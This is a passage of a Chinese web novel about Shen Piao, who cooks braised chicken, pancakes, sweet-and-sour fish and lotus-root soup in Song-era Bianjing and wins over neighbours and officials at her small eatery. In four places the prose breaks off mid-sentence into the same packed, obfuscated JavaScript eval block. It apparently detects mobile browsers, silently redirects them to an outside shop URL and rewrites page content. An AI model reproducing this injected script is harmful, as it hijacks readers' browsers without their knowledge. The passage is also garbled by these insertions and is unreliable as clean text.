赵家婶婶点下头，又转过头凑趣的逗穗姐儿，“咱们穗姐儿也开始认字了？” 穗姐儿听闻有些不好意思，“这两日阿姊才教我，我还只认得两个。” 赵家婶婶伸手摸摸她的头。 沈嫖正是有事要打听，“婶婶可知，咱们这附近哪家女学教的好，我想让穗姐儿去读书。” 赵家婶婶听闻这话有些惊讶，女子读书的费用可不低，只是她没女儿，家中也没涉及到这方面的，“我明日去酒楼做工时帮你打听一下。” 说完事，赵家婶婶就忙着要先回家，她有两个儿子，小儿子还在学堂念书，大儿子去了酒楼跟着管事的做学徒，住在酒楼，也不常回来，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665052|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵家阿叔在官煤铺子里做搬运的货，夏季还好，一到秋冬，日日都辛苦的很，所以她得早点回家去做饭食。 沈嫖把人送到门口，她回来把收拾好的鸡在厨房里剁好，自家做饭还是在里面的小厨房，小锅小灶的使着也方便。 新鲜宰杀的鸡，她就放在水中浸泡，泡出血水，把前几日晒干的豆角拿过来一把，切成中长的，用她存好的老面发面，天气冷，和好的面放到温水里盖上。 她把这些准备好，才到穗姐儿身边，坐下来喝水休息，外面热热闹闹的，顺便给穗姐儿辅导一下识字，穗姐儿很好教，听话，记性也不差，她突然想起父母为何会喜欢比她小十八岁的妹妹了，大抵没有哪个父母不喜欢这样听话乖巧的孩子。 穗姐儿写完几个笔画，抬头看阿姊让她检查，才发觉阿姊好像不开心，她摸着阿姊的手，关切的问道，“阿姊，你是冷了吗？” 沈嫖才回过神，“不冷。”然后笑笑，“我来看看我们穗姐儿写的怎么样？”给她指出几处，又让她继续去写，她去看看泡的鸡肉已经好了，锅底放上柴火烧上，锅里热油，先放入姜片，直接把竹筐里控好水的鸡块倒进锅里，一直爆炒，把多余的水分全部煸炒出蒸发掉，鸡肉在高温下微微蜷缩，颜色透着焦黄，再把香料放进去，放入豆瓣酱，汴京的豆瓣酱味道重在颜色和盐为上，所以后面基本不用放盐，然后添上水，盖上锅盖开始炖煮。 洗干净的小葱切成葱花，拌上五香粉，把发好满是小孔的面排气，擀成薄薄的圆饼，调拌好的葱花铺满，再滴上芝麻油，面卷起一层层，一段段的切开，放到一旁醒着，盖上干净的布，她没和很多面，切的花卷也小，大概也就穗姐儿拳头大小。 天慢慢也变黑，穗姐儿收起自己的笔纸，跟阿姊一起守在厨房的灶台口，灶里的火烧的红彤彤热乎乎的，锅里咕嘟咕嘟的冒泡，香味已经飘出来。 穗姐儿看着灶口里的火，沈嫖看肉已经炖烂，把豆角放进去，汤汁微微没过菜肉，把已经二次醒发好的葱花花卷摆上，差不多十个，摆的满满的。 不到一刻钟，豆角和花卷都熟透掀出来，花卷发的蓬松，底部浸满是汤汁，挨着锅边的是金黄的焦底。 沈嫖又各自盛出来两碗，大火收汁的好，汤汁都是浓浓的，味道全都收在里面，她一直都想感谢程家嫂嫂和着赵家婶婶那日早上的维护，当然也是为了以后更好的相处，每家也拿上两个馒头。 她让穗姐儿过去送的，自己去送依照她们的性子恐怕不会收。 程家嫂嫂这几日要照顾婆母，日日用过早饭就带着月姐儿去了二弟家，天黑才回，这会到家正憋了一肚子气，还要给孩子爹做饭，但又没办法，就听到外面穗姐儿端着一碗肉过来，冒着热气，肉香味已经冒出来了，不知为何，心底的怨气也被驱散不少。 “穗姐儿乖，来，这是今日嫂嫂买的红豆糕。”她忙给接下，又把人送到门口，回去拿着筷子给女儿夹一块肉，自己也顾不得烫尝一口，毕竟上次那个热干面就让她念念不忘，这肉很是入味，而且吃的一整块肉一点都不柴，反而很嫩，而且有的肉一嗦就彻底脱骨，不知道是怎么做的，还是用的什么香料？豆角炖鸡也并不常见，但跟她平时吃的豆角也不一样，特别劲道，吸满汤汁，这么一连尝好几块，还有些停不下来。 8. 焦脆薄皮香喷喷的大煎饼 月姐儿吃完一块还想吃，抬头看向她娘，“娘，沈家阿姊做的好香，您什么时候也能做这么好吃的？” 程嫂嫂伸手捏下女儿的脸颊，气的笑出声，“你娘没那个本事，给你爹爹说去吧，让他给你做。”说着话就把这碗肉拿起一个盘子给盖上，还是等孩她爹回来一同用。 月姐儿笑嘻嘻的，“娘嘴上说要怨爹爹，但有好吃的还是想给爹爹留。” 程嫂嫂就知道自家女儿一张巧嘴，就知道哄她，也懒得理她，转身到厨房里切菜。 赵家婶婶家中的院子比沈家要大一些，赵家阿叔四十多岁，人老实话不多，干活最是勤快，所以在煤店里能长久的干下去。 两口子是节俭的性子，晚上就简单烧个面汤，外加炊饼，堂屋里煤油灯点着，围坐在饭桌旁。 赵婶婶把那一晚鸡肉放到饭桌上，“沈家大姐儿生这么一场大病，性子倒是变了很多。”她还有些感叹。 赵阿叔先给她夹上一块肉，“早先我就瞧着贺家不是个好亲家。” 赵婶婶还没尝肉就应话，“话是这么说不假，可宁拆十座庙，不毁一桩姻，咱也不好在人家面前说些什么，现下好了，往后大姐儿都是好日子。” 赵阿叔边听她说话边吃起一口花卷倒是惊讶，怎的这么暄软，花卷层层的带些咸味，葱花味也足，底下是沾着肉汤，他还特意掰下一块花卷又蘸菜汤，好像比肉还好吃，肉味全都浸到花卷里。 “大姐儿的手艺真好。”他本就话不多，且爱说实话。 赵婶婶倒是惊讶，以为他说的夸张，也不说话了，吃一块肉还有些烫，炖的很烂，非常入味，而且好像一块肉都紧紧缩缩的，又很劲道，不知道怎么煸炒的，花卷也蘸上菜汤，更香了，她在酒楼做事，东家管晌午一顿饭，也吃过大师傅炒的，也好吃，可不知为何没阿嫖做的够味，貌似火候也更到位。 沈嫖带着穗姐儿已经吃饱，但她俩的饭量都没吃完，就收起来放到厨房，吃过饭到屋里给穗姐儿先裁剪衣裳，沈郊的就是用他在家往日的衣裳比着又稍微加长一些，秋冬季的衣袖长一些也好避寒。 原主的手艺不错，沈嫖一开始上手的时候有些笨拙，慢慢的找回原主的感觉，手上动作还算快，不过俩人刚刚过戌时没多久就都睡着了。 天气越来越冷，被窝里用暖水袋暖一下，两个人睡的也舒服。 不到卯时，王洲一就急匆匆的起床，他得先去点卯，然后就得立时去蔡河盯着，今日还有些海鱼来，有部分是要进到皇家去的，自然怠慢不得。 王夫人被官人吵醒只是翻过身，眼睛都未睁开，“怎得这般着急？” 王洲一跟她也不解释，要过冬，过年节，今岁各地又多是丰收，听上面的意思，要好好过，这不就是陛下的意思，所以在汴京的粮食供应上一概不能出问题。 “哎，我有件事与你讲，在蔡河新桥码头开了一家食肆，昨个卖的热干面，味道醇厚，面条劲道，十分好吃，我今日买了让仆从给你送回。” 王夫人不在乎多好吃，只记得官人心中有自己，心下高兴。 “新开的食肆？能比得上酒楼的，不过你说我自然信得。” 王家并不是钟鸣鼎食的勋贵之家，王洲一的祖父原是在京畿有自己上好田地几十亩，后来慢慢又到城内开粮铺，经商有道，又开了好几家，到王洲一父亲家中生意又做大一些。 本朝并未规定商户不得科举，所以让王洲一苦读二十多年，也幸得王洲一聪慧，人活络，算是一步步走到今日，虽在贵人遍地走的汴京不算什么大户，但比普通人家那已然是顶顶好，后又娶得岳茗梅，岳家也是商户，但生意做的比王家大得多，不过岳父看中的是王洲一的能力，王家本也想娶个官家女儿，可王洲一 在这个事情上是个顶实在的，他只见过岳茗梅一面，就极为喜欢，因为岳茗梅实为好颜色。 王洲一啧啧两声，“妇人，果真是妇人，我昨日也这般觉得，吃过后就知道那是确实好吃，你且歇着吧，我不能再耽误了。” 他说完出门，仆妇已经准备好早食，他又是急匆匆的喝完面汤，拿上一个羊肉馒头边走边吃。 点完卯到蔡河天已经大亮，第一艘船到码头，徐兆已经早早到此。 “今日可还顺利？”王洲一说出话来就见了雾气，总觉得这秋日还没过几天，就要入冬似的。 徐兆点头，“嗯，单子我又对过一遍。” 沈嫖起床后，就看腌制一晚上的萝卜，脆生生的，有些酸味，这个就刚刚好，正好可以配着热干面一起吃。 外面汴京的“菜篮子”已经进城，有些挑着扁担就在叫卖。 沈嫖打开门正准备买点，就碰见隔壁的赵家婶子手中拿着两把韭菜。 赵婶笑着迎面走来，“正巧呢，我家那一片韭菜地长的快，我特意给你割两把，你回家给穗姐儿炒着吃。” 沈嫖应声谢过接到手，想着院子里也没种满，也应该辟出来一小块来，她把韭菜放家里，出门买些今日中午开店要用的，就回来了，正巧在门口碰见一位瞧着年轻的郎君。 “这位公子，有何事？” 陶谕言从小也算是锦衣玉食，酒楼常客，未曾到过这般的小店，一时之间还有些局促。 “我来买昨日的热干面。” 沈嫖篮子里是买的新鲜的小葱，她买的多，准备趁着还未入冬，就种下，能保存的时间久一点，“对不住啊，热干面要等到晌午才卖呢，现下没有。” 陶谕言觉得自己冒犯，双手举起行礼，“那等我晌午再来。”他一定要给邹远买来，不然那小子要日日讲。 沈嫖把门关上，葱暂且没管，穗姐儿已经自己起来洗漱好在温习昨日识得字。 “穗姐儿歇一歇，你来帮阿姊摘韭菜，我做早食。” 穗姐儿搬个小凳子就坐下来，一根根择的格外细致。 沈嫖把家中的小炉子点开，又拿出铁鏊子放在上面，等着热起来，她到厨房里盛出来小半瓢杂豆面，面有些细微的颗粒感，平日里汴京人用来熬粥，她加水搅拌成面糊。 水灵灵的韭菜择好切碎，加上葱花，用盐五香粉芝麻油凉拌，再打上两个鸡蛋，铁鏊子也热了，鏊子上刷一层油，再把面糊摊上。 穗姐儿在一旁看的稀奇，“阿姊，这个是什么？” “杂粮煎饼，一会你尝尝看好不好吃？”沈嫖跟她说着话，手中也不停，没一会薄薄脆脆的圆饼就成了，放到竹筐中，又煎上一个，等差不多好的时候，把简单调拌的韭菜摊在上面，把刚刚那个盖上，铁鏊子一会就把两个饼烙的焦脆。 沈嫖盛出来从中间切开，放到盘中，让穗姐儿先尝尝。 煎饼外面是杂粮面，十分焦脆，里面的韭菜和鸡蛋已经完全熟透，冒着热气，穗姐儿一口咬下去饼皮脆的掉渣，她还差点烫到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665053|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈嫖把控着量，就做了三个，基本上面糊和菜就都用完，杂豆面是原主之前买的，杂豆面比普通面粉更便宜，厨房里还有半袋子的绿豆，她先吃上一口，杂豆面的饼皮比普通好面的更香，韭菜是今晨刚刚采摘的，十分新鲜，味道刚刚好。 早上能吃上一个杂粮煎饼，不腻还更香，三个大煎饼，她们俩一口气给吃完了。 吃完饭，沈嫖才开始忙中午的热干面，面只需要早早的准备好，也就没什么事情，但汴京人爱喝汤，而且天气也越来越冷，准备直接用小锅煮上绿豆汤。 她家里备好饭食后，去到杂货店里准备买些陶瓷碗，陶瓷碗价格便宜，而且还容易清洗。 李娘子本就知道沈家大姐儿在家中卖些吃食，但也不清楚到底手艺如何，未曾想，来她家买东西的婶子说，卖的可好了，一会时间就全卖完了，她还想着今日也去捧场打包回来两份呢。 “哎，有的，昨日就听说你店里生意好。”李娘子热情的又把陶瓷碗用独轮车给送到家中。 沈嫖跟李娘子也是熟人，“是啊，多亏大家伙照顾呢。” “得嘞，今个我有时间也去尝尝咱们大姐儿的手艺。” 两个人说着话把东西送到也没多聊，她俩也都忙得很。 陶瓷碗仔仔细细的洗干净，全部都摆在桌子上，整整齐齐的。 沈嫖就定两文钱一碗，本来普通价格是一文就行，她无限续碗，因为一般漕工一碗也不够喝的。 晌午到开门营业。 沈嫖一打开门就看见排在第一位的是今早来打听过的那位小郎君。 “里面请，今日有绿豆汤，两文钱一碗，但后面都无限续。” 陶谕言进到店内皱着眉头打量店内，是简陋一些，唯一可看的是干净。 邹远性子活泼一些，“小娘子，我们要两碗热干面，另两碗绿豆汤。”他笑着点完后，就拉着陶谕言坐下，见他还不满意的样子，“既来之则安之。” 后面排队的顾客也都三三两两的进店来的，大多数都是昨日的回头客，王洲一和徐兆这会还没下值，但王洲一让仆从来买，一口气要了六份，带的是自家的饭盒，听闻有绿豆汤也一起打包。 陶谕言看着邹远样子，“你点两份作甚，我不吃。” 邹远挑眉，“行，行，你说的，你可千万一口都别吃。” 他们是第一位客人，面上的也快。 沈嫖给端上两碗点缀着绿色葱花的热干面，还奉上一碟酸脆开胃的小萝卜，两碗清澈冒着热气的绿豆汤。 天气冷，邹远也是早早的用过了早食，中间啃了一个只有些微热的炊饼，这会看着上来的已经食指大动。 “若你不吃，我就自己吃完了，眼看着想再点两碗是不可能了。”店内桌椅不够，也有人端着碗在门口或站或蹲下用饭。 邹远拿起筷子入口，口中不断嚼着，顿时夸张的指着另外一碗给陶谕言看，“怎么这般香。”浓厚的芝麻酱，这个味道他也只吃过凉菜麻腐，但那个香味远没有这个浓郁，而且面条也十分劲道，吃上两口太快又有点噎到，赶紧喝两口绿豆汤顺一下，绿豆汤温热，不是夏日那种冰绿豆汤甜味很浓郁的，这个几乎没甜味，但配热干面十分相宜。 他看陶谕言不为所动的样子，把那碗也准备拦到自己面前，谁知陶谕言突然伸手拦下，眼瞧他似是勉为其难的样子拿起筷子。 9. 酸甜酥脆滚烫的糖醋鱼 陶谕言用筷子先搅拌一下，然后抄起一大口，这所谓的热干面口感劲道，味道醇厚，一个字香，他已然顾不得上说话，大口大口的吃着。 邹远的那份已经吃的差不多了，他就知道陶谕言肯定不可能让给自己，赶紧抬手朝着老板的位置招呼，“沈小娘子，我们可还能再加上两碗？” 沈嫖手上动作不断，一边抬头往排队的人那边看过去，“应是不能了。” 邹远深以为憾，明日他发誓定然要来上两份，足足的两份，他碗里就剩下最后一口，不舍的吃完，就看向陶谕言。 “唉，是谁说不吃的，你若是早点说，我就问沈小娘子来上两碗了。” 陶谕言吃的快，但自小礼仪也不差，动作十分好看，碗里的面条已经吃完，捧着碗喝上冒着热气的绿豆汤，除却没有吃饱外，确实格外惬意，晌午的日头虽高，但确十分清冷，并不暖和，现下吃上这样一碗热干面，再喝些绿豆汤，满是惬意。 “要不是你一直说多香多香，我原本也并不会品尝的。”他有些不好意思，但嘴硬。 俩人结账后，起身出去，小娘子已经在收拾碗筷，除却大口朵颐的食客外，已经全部卖光，不由叹息。 “这样罢，明日咱们再来。”陶谕言第一次觉得也不一定用饭都要去大酒楼的，“我请客。” 邹远呵呵两声，算是原谅他了，“那这也是应当的。” 王洲一自己留下两碗，给徐兆两碗，另外两碗往家中送去。 岳茗梅早起用过早食后，先是见过家中各处的管家婆子，算过账册，快到午时又来见外面铺子的管事，忙的脚打后脑勺，更是把晨起时官人说过的话完全忘记，所以快到用午食时，府中已经把做好的饭食摆好，还未坐下，就见到自己贴身丫头提着个饭盒进来。 “大娘子，大官人让仆从送来的，说是一早就交待的。” 岳茗梅坐下，倒是想起有这么一回事。 丫头打开饭盒端出来，“还是咱们官人惦记娘子呢。” 岳茗梅听着丫头的话，也十分欣喜，脸颊有些红晕。 “那端来吧，看看官人给捎了什么好吃的，让他这般惦记。” 丫头摆放在岳茗梅面前，一碗面条上点缀着翠绿的葱花，热气盈盈，香味也慢慢出来，瞧着好像是平平无奇。 “闻着很香。”岳茗梅挑起两根尝口，醇厚，劲道，不自觉的又进一口，这次挑起的多，口感更嚼劲足，倒是在汴京城里从未吃过，她算是知道为何官人这般惦记，哪家的小食店竟然能做出这般稀罕玩意，她一口气直接吃完一碗，喝上热气的绿豆汤。 “这一碗去给太夫人送去。”她忙张罗着让给婆婆送过去，这么好吃又新奇，况又是官人送来，送到婆婆面前是孝心。 丫头也十分好奇，她们在一侧就闻得香味了，应下就忙提着饭盒去跨院。 这边李娘子正准备带着饭盒过去买上一份呢，路上就碰见邻里。 “李家娘子去哪里？” “沈家大姐儿不是开个食肆，我去捧场。” “哎呦，那还用得着咱们捧场，沈家大姐儿的手艺好，早就卖完收摊了。” 那人说完就笑呵呵的过去了，街坊邻里的原本都这般想的，看她家无父无母的，都想去捧场，谁知人家生意红火的很。 李家娘子只得往回走，心里还纳闷，这般好吃，那她更是要去尝尝了。 沈嫖带着穗姐儿一起吃的热干面，特意先给她们自己留下的，收拾干净厨房后，俩人就午睡了。 午后醒来，因月姐儿这几日都要跟着母亲去大伯家伺候祖母，日落才回，所以穗姐儿就在家中，也没得出去玩，不过她十分自觉的在家识字。 沈嫖坐下继续缝制衣裳，基本上一日就把沈郊的一个外裳做好。 半下午时间，码头边上更是格外热闹，更多船只抵达。 王洲一和徐兆一大早待到这个时辰，一日都未离去。 沈嫖带着穗姐儿原是想出去逛一圈，一出门就看到昨日在店内吃过热干面的两位官人站在岸边忙活。 王洲一转身看到沈小娘子，就让仆从抱着木盆过来。 那仆从年纪不大，看着才十七八岁，长相虽然普通，但眼睛十分明亮，“见过小娘子，我家官人想请娘子帮个忙。” 沈嫖十分意外，“什么忙？” 仆从原觉得官人这活很是莽撞，但见小娘子好说话，赶紧应答，“这有几条鱼，我家官人晚间想待一位多年好友，不知沈小娘子可否在店内单独给我家官人做上一桌席面，您放心，除却食材所耗费食材的费用，还有厨娘的单独花销。” 沈嫖知道汴京有厨娘，厨娘很得高门贵人的喜欢，若是摆上一桌席面待客，能请得有名望的厨娘来做，那很有面子，不过首先那厨娘厨艺了得，也十分有名。 “也行，不过不知官人有无菜单，菜有何要求？” 仆从见沈小娘子答应下来，顿松口气，“就这几条鱼，另外再来只鸡，且另外配上两份小炒，一份汤，且做法都随娘子来，若是能收拾出一间包厢来就更好。” 沈嫖想着并不难，“好，那我家二楼有三间，可以简单收拾一下。” “酉时末，戌时初，我家官人且会上门。”仆从也知食肆摆放简单，倒也不计较，只是需要一个安静的地方用饭喝酒，帮着把鱼放到店内，定好时间，又拿出一贯钱来买食材。 沈嫖心中有个大差不差的菜单，让穗姐儿在家中先自己识字，她拿上钱去买食材，全都买好，也是来来回回的跑上几趟的。 鸡买的是小公鸡，准备做小炒鸡，小公鸡肉质劲道鲜嫩，是最好的。 鱼是有好几条，而且十分新鲜，就是河里普通的大鲤鱼，可以做个糖醋鱼。 先在井边处理食材。 中国的饭菜其实吃的更多是锅气，刚刚出锅的菜饭都是最好吃的，滚烫的热气能把饭菜的香味发挥的恰到好处。 沈嫖算好时间，穗姐儿看着阿姊忙来忙去，也帮忙做自己力所能及的事情，她还挺喜欢这样的日子的。 王洲一今日要宴请的是康元齐，康元齐曾经和他一同在太学读过书，后来又拜入到王煦敬门下，王煦敬前些日子刚刚进封太子少保。 临近时间，沈嫖已经备好所有食材，且排骨莲藕汤已经炖上，本来是准备要做鱼汤的，但看到有售卖的粉藕，店家还说是东家特意走漕运从外面运进来的，她能看得出这是湖南粉藕，这样的粉藕用砂锅来煨汤，莲藕的味道更能极致入味，她买回来一些，处理好排骨，就紧赶慢赶的用自家的小煤炉子已经早早炖上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665054|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 康元齐虽然出身富贵，王煦敬曾是他祖父学生，但他确与徐兆关系最好，性情也差不多。 三个人一同到店内入坐，店内简单朴素，和外面的那些小店一样，只点上几盏灯。 康元齐一进来就看向王洲一，抬手行礼，“王兄，今日倒是不在樊楼宴请我？” 王洲一哎呦一声，“康兄倒是故意挤兑我，这家食肆可是不简单，不信你问徐兆。” 徐兆虽然为官耿直一些，但与好友在一起时性子还算随和，“这倒是，这家店的热干面十分好吃，我们从未见过。” 沈嫖邀请他们上二楼，第一间包厢内，里面打扫过，简单的摆上桌椅，推开窗户就能瞧见蔡河沿岸风景，沿岸的小食摊位已经摆上，影影绰绰的灯笼发出光亮，绿柳摇晃。 康元齐看惯了内城酒楼的繁华热闹，第一次在这里用饭倒也觉得别有一番风趣。 沈嫖邀请他们上楼后，下来就着手开始做，鱼选了一条最肥硕的，清洗干净，准备做糖醋鱼，而且鱼并未开膛破肚，用筷子从鱼嘴处搅拌进去，就能把鱼肚子里的脏东西都取出来，再用清水洗上好几遍，然后给鱼改刀，用刀先切入一层，然后刀刃斜插进去，这样鱼肉会有一个好看的形状，面糊是备菜的时候就调拌好的，用的是红豆淀粉，里面还打上一个鸡蛋，这样面糊挂上的更紧致。 油锅热把已经挂好粉的鱼放进去定型油炸，另外小锅里插上木柴熬汤汁，用糖醋加酱油调深红色，最后出锅时再加上一勺油和醋，酸味已经全部出来，锅内油炸的鱼用筷子扎上小圆孔，直接用笊篱把炸的酥脆的鱼盛到大盘子里，紧接着用调拌好的汤汁趁着滚烫的热气浇上。 糖醋鱼滋啦作响，浓稠的酱汁顺着切出的缝隙，以及扎出的小孔，流入鱼内。 穗姐儿已经在旁看呆了，这鱼看起来好香。 沈嫖没耽误时间，端着去上菜。 房间内的三人正谈到当时在太学求学时的日子，康元齐就看到小娘子端着一盘菜进来，好像一刻钟还未过。 鱼的形状漂亮，而且空气中似乎有醋味。 沈嫖放下后，只简单介绍，“糖醋鱼，慢用。”说完后就赶紧下楼。 康元齐还未见过这样形状的烧鱼，他吃过最多的是炙或者是烤，再有就是曾经吃过烧鱼，但似乎又有些不同。 三人拿起筷子一同夹肉，鱼肉已经炸的十分脆，到嘴里是烫的，但又有十分开胃的酸甜味道，鱼肉外脆里嫩，味道十分复杂。 康元齐啧啧称道，“我之前从未吃过这种做法，那次吃的烧鱼虽然也有酸甜味道，但不及这个，酸甜味道融合的很是巧妙。” 怎么会这般好吃？ 王洲一也是狠狠赞同，其实今日邀请康元齐吃饭是临时的，各大酒楼的位置已经定出了，他是看到沈小娘子才想起的，本他也不放心，但又想起自己没吃热干面之前的想法，觉得君子不能以貌取人，若是沈小娘子接下这桌席面，他就愿意相信，没想到，这道糖醋鱼真是如其名，他越来越期待下面的菜了。 徐兆也是，很是惊讶，做官几栽，俸禄不低，家中日子也不像从前那般节俭，也常带着母亲去酒楼用饭，但从未吃过这样做出来的烧鱼？味道酸甜，口感酥脆，包裹着的鱼肉又很嫩滑，沈娘子当真是绝好的手艺。 10. 汤鲜味美的排骨粉藕汤 沈嫖正在楼下做小炒公鸡，都是今午后现宰杀的，她还是用凉水浸泡，把血水浸泡干净，控水，烧热的锅里倒入热油，放入花椒八角大料，说起来这还是她来到这里以后第一次这么大方的去买食材，毕竟有足足一贯钱，直接把鸡肉倒进去，一直翻炒，炒出来额外的水分，炒鸡最重要的就是要把水分完全炒的蒸发掉，鸡肉遇热皮肉瞬间变得更为紧致，放入盐和五香粉，味道趁着热气全部翻炒到肉里。 鸡肉微微焦黄后，再放酱油主要用来调色，盖上盖子，锅底再放进去一根木柴，她看着红彤彤的火，还是挺满意的，说到底还是柴火灶做出来的饭菜更好吃。 炉子上的排骨莲藕汤已经差不多，粉藕炖出来的汤看起来并不是普通的那样清澈，粉藕被彻底炖烂，融合在汤中，所以汤鲜且味带着粉藕特有的甜。 鸡肉趁着热气出锅，盘子里端上楼，剩下的就是两份小炒，一份清炒白菜豆腐，另外是清炒矮黄，矮黄就是娃娃菜。 鸡肉上桌后，那条鱼已经吃的差不多。 仆从也送来从酒楼买来的酒。 北宋汴京对酒的把控比较严，只有像樊楼，庄楼，杨楼这样的正店才能自主酿酒，其余的小店像沈嫖这样的食肆是脚店，若是想售卖酒，只能去正店批发一些回来零售。 鸡肉咸香味道浓郁，热气腾腾。 康元齐这是第一次正眼来打量这位小娘子，看起来身量纤纤，年纪轻轻，但厨艺老道，恐怕从小就勤学厨艺，颇为敬佩。 “沈娘子，请问这道又叫什么名字？” 沈嫖看到糖醋鱼的“残躯”，已经知道他们应该对自己的厨艺还算满意，放心不少，“回大官人，小炒公鸡。” 仆从把酒给倒上。 王洲一可没康元齐这般守礼，他在他问话的时候已经开始夹一块鲜嫩的鸡肉吃起来，入口烫的他肉在嘴中不断的翻个，但牙齿咬进去，肉多汁且劲道，味道还很丰富，简直是上好，没想到啊，沈小娘子手艺真是绝佳，如果沈小娘子愿意，他可做保推荐她去酒楼做大师傅。 徐兆看好友动筷，他也跟上，与沈小娘子都是熟人，倒是不必这般客气。 康元齐看他们俩也不装模做样的询问了，下手为快。 沈嫖惦记着剩下的两道菜，也赶紧下楼忙活，两份小炒一同送上来，另外排骨莲藕汤火候正好，只用胡椒粉和盐调味端上桌。 “官人，菜都已经上齐。” 那只小公鸡总共才三四斤重，去除皮毛和内脏，剩余的更少，三个大男人压根是没吃过瘾。 康元齐品尝过白菜豆腐，更是合心意，白菜嫩脆爽口，豆腐鲜嫩。 “这是什么汤？”因为祖父十分爱好吃食，所以他从小耳濡目染，汴京的各大酒楼均已吃遍，甚至每家酒楼的大厨手艺如何他都能出个册子。 沈嫖打开盖子，“排骨莲藕汤。” “排骨？” 王洲一先是发问，他略微皱过眉头，他自己倒是不嫌弃猪肉，徐兆也是，幼时家贫，想吃荤腥，便宜的猪肉是首选，只是康元齐可是应当很少吃吧。 “是猪身上的？”康元齐直接问。 沈嫖知道他这么问是为什么，只点头，“是的，而且汤已经煨了将近两个时辰。” 仆从拿起勺子给两位大官人盛到碗中。 沈嫖曾经学过，湖北排骨莲藕汤是需要用长久的时间煨出的，烫很浓郁，粉藕味道清甜。 王洲一先笑着活络递话，“康兄，若是介意，不必勉强，我与徐兄用即可。”他心底对沈小娘子的厨艺已经完全信赖，高低他也要尝尝，说完就先用勺子喝了一口，就这一口汤就让他顿时有些惊讶，汤鲜的简直妙不可言，鲜，还是鲜，已经顾不上康元齐，抬头就看向沈嫖。 “沈娘子，这汤怎么煨出的？怎么会这么鲜？” 沈嫖见他喜欢，“莲藕的功劳，今日去买的是粉藕，之前我曾在厨司做工，听一位老人提起过，她家乡的粉藕很适宜煨汤，汤鲜浓郁，若是秋冬日里喝上一口，十分惬意。” 徐兆已经在吃里面的排骨，骨头和肉几乎是轻轻一碰就掉，肉炖的十分烂，别说什么膻味，甚至带的是莲藕的清香味。 “康兄，你若是不喝，我敢断言，你定会后悔。” 他和康元齐说话就更为直接一些。 康元齐已经是看到他们两位的表现，听到徐兆这样说更是心动，徐兆是个说一不二的性格，他这样的评价就已经说明问题。 仆从也十分有眼色，已经给康元齐盛上一碗，而王洲一和徐兆已经准备想盛第二碗。 康元齐先是闻下味道，有些胡椒味，还有隐约的清香，浅浅品尝一口后就再也没说话，只闷头喝汤，浅薄，他着实浅薄。 沈嫖见他们吃的开心，关上包厢的门下楼，简单收拾一下厨房，穗姐儿跟着忙到现在还没吃饭，家中也没什么可吃的，只有盆中还活着的几条鱼，她只好先宰杀一条，到时就在她做饭的佣金中扣下一条鱼的费用的就行。 “穗姐儿，阿姊也给你做糖醋鱼。” 穗姐儿坐在板凳上点头，她刚刚就好想吃，但阿姊已经很忙了，她不想多添麻烦。 沈嫖动作利落，鱼做的也快，而且一般小孩子对酸酸甜甜的东西都没什么抵抗力，比如说薯条蘸番茄酱，其实想吃的就是番茄酱而已。 陶罐里焖上米饭，焖的比较少，所以熟的也快。 糖醋鱼做好，米饭也起锅。 外面人声高低不断，嘈杂热闹，屋内，饭桌上点着两盏灯，热气腾腾的糖醋鱼摆在中间，又另外把剩下没用完的娃娃菜炒上，两个人，两碗米饭，两个菜。 穗姐儿先是大口吃鱼肉。 “小心烫。”沈嫖看她着急的样子忙提醒她。 穗姐儿嘴里含着鱼肉还不肯吐，不烫了才咽下去。 “阿姊，好好吃，酸酸甜甜的，鱼肉也好吃。”穗姐儿从来没吃过这么好吃的烧鱼，阿姊也从未做过。 沈嫖自己尝一口，也不错，若是银钱足够的话，她还能做一些更多好吃的。 “那就多吃点鱼肉，可以少吃点米饭。”她担心晚上吃太多不好消食。 两个人吃完后，正在收拾厨房，楼上三人才下来。 王洲一今日吃饱喝足，甚是舒坦，“沈小娘子，明日我让人来给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665055|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送支赐来。” 支赐就是佣金。 